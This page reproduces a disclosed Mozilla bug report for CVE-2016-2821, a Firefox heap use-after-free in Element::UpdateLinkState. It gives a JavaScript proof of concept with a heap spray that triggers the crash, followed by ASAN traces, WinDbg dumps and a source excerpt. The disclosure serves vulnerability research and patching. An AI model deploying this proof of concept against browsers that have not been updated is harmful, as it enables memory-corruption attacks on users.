Skip to content
Memory corruption Disclosed report CVE-2016-2821

Heap-use-after-free mozilla::dom::Element::UpdateLinkState

firehack Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 7 days
  • Disclosed after 5 days

Run the bellow PoC, allow firefox reload multiple times

=== PoC

<script> function delay() { var container = new Array() var spray_size = 0x80000 var region_size = 0x80 for(var i=0; i<spray_size; i++) { container[i] = new Array(); for(var j=0; j<region_size/8; j++) container[i][j] = 0x41414141 } } function testcase() { document.documentElement.contentEditable="true" document.documentElement.style.cssText = 'text-overflow: unset' document.documentElement.hidden="false" document.documentElement.innerHTML = '<table><tfoot><tr id="BBBB" ><td>' delay() // help easier to crash firefox document.getSelection().selectAllChildren(document.getElementById('BBBB')) document.body.remove() document.documentElement.style.MozUserModify='read-write' document.documentElement.remove() setTimeout(function(){window.location.reload()},500) } </script> <body onload='testcase();'>

=== ASAN 49 stack trace ==1025==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000411268 at pc 0x7f21b42314ec bp 0x7ffeda8ac3d0 sp 0x7ffeda8ac3c8 READ of size 8 at 0x611000411268 thread T0 (Web Content) #0 0x7f21b42314eb in GetElement /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Link.h:89 #1 0x7f21b42314eb in nsIDocument::FlushPendingLinkUpdates() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:10293 #2 0x7f21b42fe4c9 in FindMatchingElements<false, AutoTArray<mozilla::dom::Element , 128>, nsSimpleContentList> /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsINode.cpp:2823 #3 0x7f21b42fe4c9 in nsINode::QuerySelectorAll(nsAString_internal const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsINode.cpp:2906 #4 0x7f21b5a6e698 in mozilla::dom::DocumentBinding::querySelectorAll(JSContext, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:3453 #5 0x7f21b5ea4495 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/bindings/BindingUtils.cpp:2781 #6 0x7f21bbb4f689 in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235 #7 0x7f21bbb4f689 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:480 #8 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531 #9 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831 #10 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426 #11 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498 #12 0x7f21bbb501f1 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544 #13 0x7f21bb907161 in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Wrapper.cpp:163 #14 0x7f21bb8cea89 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:309 #15 0x7f21bb8e6523 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Proxy.cpp:399 #16 0x7f21bb8e8cf2 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Proxy.cpp:691 #17 0x7f21bbb4fa2e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235 #18 0x7f21bbb4fa2e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:468 #19 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531 #20 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831 #21 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426 #22 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498 #23 0x7f21bbb501f1 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544 #24 0x7f21bb69385a in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:2864 #25 0x7f21b2f72fa3 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/xpconnect/src/XPCWrappedJSClass.cpp:1237 #26 0x7f21b16a9ff1 in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/reflect/xptcall/md/unix/xptcstubs_x86_64_linux.cpp:122 #27 0x7f21b16a9046 in SharedStub (/home/caonguyen/Fuzzing/firefox/version/firefox/libxul.so+0x17b7046)

0x611000411268 is located 168 bytes inside of 200-byte region [0x6110004111c0,0x611000411288) freed by thread T0 (Web Content) here: #0 0x474f01 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64 #1 0x7f21b1565858 in SnowWhiteKiller::~SnowWhiteKiller() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2675 #2 0x7f21b156547e in nsCycleCollector::FreeSnowWhite(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2849 #3 0x7f21b156b2e1 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3632 #4 0x7f21b156edcf in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4157 #5 0x7f21b430da4a in nsJSContext::RunCycleCollectorSlice() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSEnvironment.cpp:1550 #6 0x7f21b169e9d5 in nsTimerImpl::Fire() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsTimerImpl.cpp:524 #7 0x7f21b1678805 in nsTimerEvent::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/TimerThread.cpp:286 #8 0x7f21b1684b7b in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:991 #9 0x7f21b16fe90a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #10 0x7f21b240033e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:98 #11 0x7f21b237795c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233 #12 0x7f21b237795c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226 #13 0x7f21b237795c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:206 #14 0x7f21b7977237 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #15 0x7f21b99777c2 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:802 #16 0x7f21b237795c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233 #17 0x7f21b237795c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226 #18 0x7f21b237795c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:206 #19 0x7f21b9976ead in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:637 #20 0x48dca0 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:237 #21 0x7f21aeec870f in __libc_start_main (/usr/lib/libc.so.6+0x2070f)

previously allocated by thread T0 (Web Content) here: #0 0x475101 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74 #1 0x48e2bd in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83 #2 0x7f21b638cc5d in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:186 #3 0x7f21b638cc5d in NS_NewHTMLAnchorElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/HTMLAnchorElement.cpp:22 #4 0x7f21b659db51 in CreateHTMLElement /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/nsHTMLContentSink.cpp:292 #5 0x7f21b659db51 in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/nsHTMLContentSink.cpp:273 #6 0x7f21b433b6b0 in NS_NewElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsNameSpaceManager.cpp:147 #7 0x7f21b4223468 in nsDocument::CreateElem(nsAString_internal const&, nsIAtom*, int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:8733 #8 0x7f21b7ab810c in nsEditor::CreateHTMLContent(nsIAtom*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsEditor.cpp:4578 #9 0x7f21b7aed7e4 in nsHTMLEditor::CreateAnonymousElement(nsAString_internal const&, nsIDOMNode*, nsAString_internal const&, bool, nsIDOMElement**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLAnonymousUtils.cpp:152 #10 0x7f21b7afd771 in nsHTMLEditor::ShowInlineTableEditingUI(nsIDOMElement*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLInlineTableEditor.cpp:71 #11 0x7f21b7af5183 in nsHTMLEditor::CheckSelectionStateForAnonymousButtons(nsISelection*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLAnonymousUtils.cpp:401 #12 0x7f21b7bf70d8 in ResizerSelectionListener::NotifySelectionChanged(nsIDOMDocument*, nsISelection*, short) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLObjectResizer.cpp:105 #13 0x7f21b8559fd4 in mozilla::dom::Selection::NotifySelectionListeners() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:6031 #14 0x7f21b855c36f in NotifySelectionListeners /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:2278 #15 0x7f21b855c36f in EndBatchChanges /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:2267 #16 0x7f21b855c36f in EndBatchChangesInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:6057 #17 0x7f21b855c36f in mozilla::dom::SelectionBatcher::~SelectionBatcher() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Selection.h:352 #18 0x7f21b8572d98 in mozilla::dom::Selection::SelectAllChildren(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:5610 #19 0x7f21b5255a1c in mozilla::dom::SelectionBinding::selectAllChildren(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Selection*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/SelectionBinding.cpp:358 #20 0x7f21b5ea4495 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/bindings/BindingUtils.cpp:2781 #21 0x7f21bbb4f689 in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235 #22 0x7f21bbb4f689 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:480 #23 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531 #24 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831 #25 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426 #26 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498 #27 0x7f21bbb501f1 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544 #28 0x7f21bb695977 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:2926 #29 0x7f21b59923ad in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259 #30 0x7f21b6299429 in Call<nsISupports > /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:356 #31 0x7f21b6299429 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/JSEventHandler.cpp:214 #32 0x7f21b6264373 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventListenerManager.cpp:1100 #33 0x7f21b62661c9 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventListenerManager.cpp:1271 #34 0x7f21b6243a31 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventDispatcher.cpp:379 #35 0x7f21b6247e4c in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventDispatcher.cpp:710 #36 0x7f21b820fb8f in nsDocumentViewer::LoadComplete(nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsDocumentViewer.cpp:995 #37 0x7f21b8f459bd in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDocShell.cpp:7516

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Link.h:89 GetElement Shadow bytes around the buggy address: 0x0c228007a1f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c228007a200: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c228007a210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c228007a220: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0c228007a230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd =>0x0c228007a240: fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd 0x0c228007a250: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c228007a260: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c228007a270: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0c228007a280: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c228007a290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb=1025==ABORTING [Parent 779] WARNING: pipe error (51): Connection reset by peer: file /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 313

=== windbg with Firefox 46.0.1 (15c0.da8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0014c628 ebx=0de388f8 ecx=e5e5e5e5 edx=0de388f8 esi=e5e5e5e5 edi=0de38800 eip=562061fd esp=0014c60c ebp=0014c650 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 xul!mozilla::dom::Element::UpdateLinkState: 562061fd 8b5138 mov edx,dword ptr [ecx+38h] ds:0023:e5e5e61d=???????? 0:000> ub @$ra L10 xul!nsIDocument::FlushPendingLinkUpdates+0x24 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsdocument.cpp @ 10187]: 5637ec9a 53 push ebx 5637ec9b 8d4c2420 lea ecx,[esp+20h] 5637ec9f e8d2c80e00 call xul!PLDHashTable::Iterator::Iterator (5646b576) 5637eca4 8b44242c mov eax,dword ptr [esp+2Ch] 5637eca8 3b442430 cmp eax,dword ptr [esp+30h] 5637ecac 742b je xul!nsIDocument::FlushPendingLinkUpdates+0x63 (5637ecd9) 5637ecae 8b442428 mov eax,dword ptr [esp+28h] 5637ecb2 8b4804 mov ecx,dword ptr [eax+4] 5637ecb5 8d442410 lea eax,[esp+10h] 5637ecb9 50 push eax 5637ecba 8b7108 mov esi,dword ptr [ecx+8] 5637ecbd e81fe7f0ff call xul!mozilla::dom::Link::LinkState (5628d3e1) 5637ecc2 8bce mov ecx,esi 5637ecc4 ff7004 push dword ptr [eax+4] 5637ecc7 ff30 push dword ptr [eax] 5637ecc9 e82f75e8ff call xul!mozilla::dom::Element::UpdateLinkState (562061fd) 0:000> dc poi(esp+28+c) 0e7fd440 0d22e00b 0dd7e78c f9d88ae6 0ddfe67c ..".........|... <=== mov eax,dword ptr [esp+28h] ; eax = 0e7fd440 0e7fd450 00000000 00000000 7381f9ba 0ddfe44c ...........sL... 0e7fd460 91b437da 0deae0cc a9458082 0dd7e86c .7........E.l... 0e7fd470 00000000 00000000 f756d0bf 0dd7e8dc ..........V..... 0e7fd480 e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ 0e7fd490 e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ 0e7fd4a0 e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ 0e7fd4b0 e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ 0:000> dc 0dd7e78c 0dd7e78c e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ <=== mov ecx,dword ptr [eax+4] ; ecx = 0dd7e78c 0dd7e79c e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5 ................ 0dd7e7ac e5e5e5e5 57f92bd0 57f67414 0e54c220 .....+.W.t.W .T. 0dd7e7bc 01900200 0d9903d0 0d6ba3a0 4002000c ..........k....@ 0dd7e7cc 0de916c0 00000000 0e3f40c0 0d6ba3a0 .........@?...k. 0dd7e7dc 0d6ba580 0000000c 0e02e700 00020000 ..k............. 0dd7e7ec 00000400 57f92e04 e5e5e500 57f9302c .......W....,0.W 0dd7e7fc 57f93078 00000001 00010001 00000001 x0.W............

=== From source code void nsIDocument::FlushPendingLinkUpdates() { ... for (auto iter = mLinksToUpdate.ConstIter(); !iter.Done(); iter.Next()) { Link* link = iter.Get()->GetKey(); link->GetElement()->UpdateLinkState(link->LinkState()); } ... }

The original report as published on Mozilla's Bugzilla, by firehack. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in DOM: Core & HTML. Mozilla made it public on 15 May 2016 as CVE-2016-2821.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by firehack

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.